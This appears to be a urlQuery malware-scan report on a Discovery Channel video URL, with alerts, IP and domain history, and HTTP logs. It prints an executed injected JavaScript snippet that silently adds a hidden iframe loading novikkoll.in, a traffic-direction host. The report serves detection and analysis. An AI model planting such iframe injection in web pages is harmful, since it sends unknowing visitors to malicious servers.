Overview

URLhttp://discoveryint1.edgeboss.net/download/discoveryint1/bc/germany/video/2009/ludolfs_13mom_01_f.flv
IP195.159.219.10
ASNAS5381 PowerTech Information Systems AS
Location Norway
Report completed2012-11-08 01:55:09 CET
StatusLoading report..
urlQuery Alerts Detected malicious iframe injection
Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro No alerts detected
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 195.159.219.10

Date Alerts / IDS URL IP
2013-02-17 17:11:470 / 0http://l4.zedo.com195.159.219.10
2013-02-17 11:58:060 / 0http://col.stb00.s-msn.com/i/1F/47486861B68076AABA91E1CDD2EB19.jpg195.159.219.10
2013-02-17 05:18:330 / 0http://www.trbimg.com/img-511e2d8e/turbine/bal-burlesque-performers-events-in-baltimo (...)195.159.219.10
2013-02-16 21:48:320 / 0http://fpdownload2.macromedia.com195.159.219.10
2013-02-16 19:51:400 / 4http://www.latimes.com/news/science/la-sci-human-evolution-genes-20130215,0,7710369.s (...)195.159.219.10
2013-02-16 19:40:560 / 1http://www.spin.com/195.159.219.10

Last 6 reports on ASN: AS5381 PowerTech Information Systems AS

Date Alerts / IDS URL IP
2013-02-17 17:11:470 / 0http://l4.zedo.com195.159.219.10
2013-02-17 15:01:140 / 1http://download.windowsupdate.com/msdownload/update/common/2012/04/4970543_87579c8a4524bc2735f8 (...)195.159.219.9
2013-02-17 11:58:060 / 0http://col.stb00.s-msn.com/i/1F/47486861B68076AABA91E1CDD2EB19.jpg195.159.219.10
2013-02-17 10:59:440 / 0http://www.bing.com/th?id=PIDDF13F24CE804C37C487BA44F9A3CB2E9AB37A23&id1=Y292ZXItdXAtc2xlZX (...)195.159.219.8
2013-02-17 10:35:160 / 0http://fpdownload2.macromedia.com195.159.219.9
2013-02-17 08:53:590 / 3http://www.fileplanet.com/214873/download/Sniper:-Ghost-Warrior-Patch-v1.2-(Direct2Drive)195.159.219.9

Last 6 reports on domain: discoveryint1.edgeboss.net

Date Alerts / IDS URL IP
2013-02-11 22:20:462 / 0http://discoveryint1.edgeboss.net/download/discoveryint1/bc/latam/video/2008/citycar_es.flv195.159.219.9
2013-02-11 13:32:392 / 0http://discoveryint1.edgeboss.net/download/discoveryint1/bc/latam/video/2008/squba_es.flv195.159.219.9
2013-02-01 07:10:052 / 0http://discoveryint1.edgeboss.net/download/discoveryint1/bc/germany/video/2011/fishnfun_405_1_f (...)195.159.219.10
2013-01-30 15:41:572 / 0http://discoveryint1.edgeboss.net/download/discoveryint1/bc/germany/video/2009/tuningalarm_303_ (...)195.159.219.9
2013-01-30 14:04:582 / 0http://discoveryint1.edgeboss.net/download/discoveryint1/bc/germany/video/2009/tuningalarm_303_ (...)195.159.219.10
2013-01-23 11:53:332 / 0http://discoveryint1.edgeboss.net/download/discoveryint1/bc/latam/video/2009/showitsmadeesferas (...)195.159.219.10



JavaScript

Executed Scripts (3)


Executed Evals (1)

#1 JavaScript::Eval (size: 569, repeated: 1) - Alert detect on script (Severity: 2)

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://novikkoll.in/in.cgi?default' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://novikkoll.in/in.cgi?default');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

Executed Writes (0)



HTTP Transactions (4)


Request Response 
GET /download/discoveryint1/bc/germany/video/2009/ludolfs_13mom_01_f.flv HTTP/1.1

Host: discoveryint1.edgeboss.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Server: Apache
Etag: &quot;c82ed6617ff69bc4842a1b288ea2c2db:1325934677&quot;
Last-Modified: Sat, 07 Jan 2012 11:11:17 GMT
Accept-Ranges: bytes
Content-Length: 4567
Date: Thu, 08 Nov 2012 00:54:35 GMT
Connection: keep-alive
GET /favicon.ico HTTP/1.1

Host: discoveryint1.edgeboss.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Server: Apache
Content-Length: 15
Date: Thu, 08 Nov 2012 00:54:39 GMT
Connection: keep-alive
GET /favicon.ico HTTP/1.1

Host: discoveryint1.edgeboss.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Server: Apache
Content-Length: 15
Date: Thu, 08 Nov 2012 00:54:40 GMT
Connection: keep-alive
GET /in.cgi?default HTTP/1.1

Host: novikkoll.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://discoveryint1.edgeboss.net/download/discoveryint1/bc/germany/video/2009/ludolfs_13mom_01_f.flv